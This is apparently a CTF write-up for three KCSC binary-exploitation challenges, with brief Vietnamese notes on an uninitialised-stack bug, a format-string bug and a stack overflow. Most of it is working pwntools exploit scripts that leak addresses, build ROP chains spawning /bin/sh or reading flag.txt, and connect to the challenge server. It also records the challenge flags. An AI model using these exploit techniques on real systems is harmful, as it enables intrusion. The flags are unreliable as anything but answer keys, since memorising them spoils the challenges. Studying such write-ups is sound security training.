main()
buy()
sell()
info()
only check > 3
với idx là -2 có thể leak được exe
tức là n là stack
sẽ còn giá trị rác
khi ta thoả mãn scanf return False (đọc thất bại) nhưng không thay đổi giá trị nào trên stack
với format "%d" (nhận gtri số), ta có thể bypass bằng cách nhập gtri khác (như byte 'a' hoặc byte enter '\x0a')
bug nằm ở phép toán logic '&&'
trong coding gọi là hiện tượng đoản mạch
đk trái False thì không xét đk phải
–-> hàm if sẽ không nhảy vào
int n; // [rsp+18h] [rbp-208h]
read 1024 ~ 0x400
char s[1037]; // [rsp+20h] [rbp-424h]
format "%s"
#!/usr/bin/python3
from pwn import *
exe = ELF('petshop_patched', checksec=False)
libc = ELF('libc-2.31.so', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*buy+289
b*info+383
b*sell+245
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('103.163.24.78',10001)
else:
p = process(exe.path)
def buy(pet, choice, name):
p.recvline()
sla(b'--> ',b'buy ' + pet + b' ' + str(choice).encode())
p.recvline()
sla(b'--> ',name)
p.recvline()
p.recvline()
def sell(index,size,reason):
p.recvline()
sla(b'--> ',b'sell ' + str(index).encode())
p.recvline()
p.recvline()
sla(b'--> ',size)
p.recvline()
sla(b'--> ',reason)
def show():
p.recvline()
sla(b'--> ',b'info mine')
p.recvline()
p.recvline()
# GDB()
idx = (exe.got.puts - exe.sym.cats)/8 +1
buy(b'cat',-2,b'a'*1023)
show()
p.recvuntil(b'1. ')
exe_leak = u64(p.recv(6)+b'\0\0')
exe.address = exe_leak - 0x4008
info("exe leak: " + hex(exe_leak))
info("exe base: " + hex(exe.address))
pop_rdi = exe.address + 0x0000000000001a13
payload = b'a'*0x209
payload += p64(pop_rdi) + p64(exe.got.puts)
payload += p64(exe.plt.puts) + p64(exe.sym.main)
sell(0,b'',payload)
p.recvuntil(b'reasonable!\n')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.puts
info("libc leak: " + hex(libc_leak))
info("libc base:" + hex(libc.address))
payload = b'a'*0x209
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
payload += p64(pop_rdi+1) + p64(libc.sym.system)
buy(b'cat',0,b'a'*1023)
sell(1,b'',payload)
p.interactive()
#KCSC{0h_n0_0ur_p3t_h4s_bug?!????????????????????}
KCSC{0h_n0_0ur_p3t_h4s_bug?!???}
main()
2 chế độ: đã login và chưa login
general_action() : chưa login
có 2 option
login()
reg()
account_action() : đã login
có 3 option
deposit()
withdraw()
info()
dễ dàng thấy có bug fmtstr ở đây
note: tui thử one_gadget nhưng không được
chả biết nữa, lúc run thì thấy nếu fmtstr ở đó nó lại return stack kế tiếp =))))
nếu không thì nó exit do libc như bình thường
#!/usr/bin/python3
from pwn import *
exe = ELF('./banking_patched', checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.binary = exe
def GDB(): #NOASLR
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x555555555656
#printf
b*0x55555555589f
#ret_main
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('103.163.24.78',10002)
else:
p = process(exe.path)
def show():
sla(b'> ',b'3')
def reg(username,password,name):
sla(b'> ',b'2')
sla(b'username: ',username)
sla(b'password: ',password)
sla(b'name: ',name)
def login(username,password):
sla(b'> ',b'1')
sla(b'Username: ',username)
sla(b'Password: ',password)
def logout(feedback):
sla(b'> ',b'4')
sla(b'feedback: ',feedback)
GDB()
reg(b'a',b'b',b'%29$p|%6$p')
login(b'a',b'b')
show()
libc_leak = int(p.recvuntil(b'|',drop=True),16)
libc.address = libc_leak - libc.sym.puts - 506
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
stack_leak = int(p.recvuntil(b'\n',drop=True),16)
info("stack leak: " + hex(stack_leak))
system = libc.sym.system
binsh = next(libc.search(b'/bin/sh\0'))
pop_rdi = libc.address + 0x00000000000240e5
ret = stack_leak + 0x30
info("stack ret: " + hex(ret))
logout(b'hlaan')
#########################################
payload = f'%{(ret-8)&0xffff}c%10$hn'
reg(b'aaaa',b'dddd',payload)
login(b'aaaa',b'dddd')
show()
logout(b'hlaan')
payload = f'%{pop_rdi&0xffff}c%44$hn'
reg(b'abc',b'def',payload)
login(b'abc',b'def')
show()
logout(b'hlaan')
#########################################
chain = [pop_rdi,binsh,system]
for i in range(3):
for j in range(3):
payload = f'%{(ret+2*j+8*i)&0xffff}c%13$hn'
reg(b'c'*i,b'd'*i,payload)
login(b'c'*i,b'd'*i)
show()
logout(b'hlaan')
payload = f'%{(chain[i]>>16*j)&0xffff}c%40$hn'
reg(b'e'*i,b'f'*i,payload)
login(b'e'*i,b'f'*i)
show()
logout(b'hlaan')
show()
p.interactive()
#KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?}
KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?}
nhìn z thôi chứ không phải z =)))
do qiling nó NOASLR =))))
main()
python3 -m venv qilingenv
source qilingenv/bin/activate
git clone -b dev https://github.com/qilingframework/qiling.git
cd qiling && git submodule update --init --recursive
pip3 install .
https://docs.qiling.io/en/latest/install/
https://docs.qiling.io/en/latest/debugger/
https://docs.qiling.io/en/latest/qdb/
source qilingenv/bin/activate
0x6161616161616100
sợ xmm nhưng thêm ret vẫn thể
hên exe có gadget rsi
#!/usr/bin/env python3
# import qiling
from qiling import Qiling
from qiling.const import QL_VERBOSE
import sys
#0x5555555553e4
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <ELF>")
sys.exit(1)
cmd = [sys.argv[1]]
# ql = qiling.Qiling(cmd, console=False, rootfs='.')
ql = Qiling(cmd, console=False, rootfs='.', verbose=QL_VERBOSE.DEBUG)
ql.debugger = 'qdb'
ql.run()
#!/usr/bin/env python3
from pwn import *
from qiling import *
exe = ELF("./simpleqiling_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
context.binary = exe
# p = process(exe.path)
p = remote('103.163.24.78',10010)
p.recvline()
exe.address = 0x555555554000
pop_rdi = exe.address + 0x0000000000001473
main = exe.address + 0x1314
pop_rsi_r15 = exe.address + 0x0000000000001471
rw_section = 0x555555558a00
payload = b'a'*0x28
payload += p64(0x6161616161616100)
payload += b'a'*8
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(rw_section+0x200) + p64(0)
payload += p64(exe.plt.read)
payload += p64(pop_rdi) + p64(exe.got.puts)
payload += p64(exe.plt.puts) + p64(main)
p.send(payload)
p.send(b'flag.txt\0')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.puts
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
p.recvline()
pop_rdi = libc.address + 0x0000000000023b6a
pop_rsi = libc.address + 0x000000000002601f
pop_rdx = libc.address + 0x0000000000142c92
pop_rax = libc.address + 0x0000000000036174
syscall = libc.address + 0x000000000002284d
# payload = b'a'*0x28
# payload += p64(0x6161616161616100)
# payload += b'a'*8
# payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
# # payload += p64(pop_rdi+1)
# payload += p64(libc.sym.system)
# payload = b'a'*0x28
# payload += p64(0x6161616161616100)
# payload += b'a'*8
# payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
# payload += p64(pop_rsi) + p64(0)
# payload += p64(pop_rdx) + p64(0)
# payload += p64(pop_rax) + p64(0x3b)
# payload += p64(syscall)
payload = b'a'*0x28
payload += p64(0x6161616161616100)
payload += b'a'*8
payload += p64(pop_rdi) + p64(rw_section+0x200)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rsi) + p64(0)
payload += p64(libc.sym.open)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(rw_section)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(libc.sym.read)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(rw_section)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(libc.sym.write)
p.send(payload)
p.interactive()
#KCSC{q3mu_vs_q1l1ng_wh1ch_1_1s_b3tt3r}
KCSC{q3mu_vs_q1l1ng_wh1ch_1_1s_b3tt3r}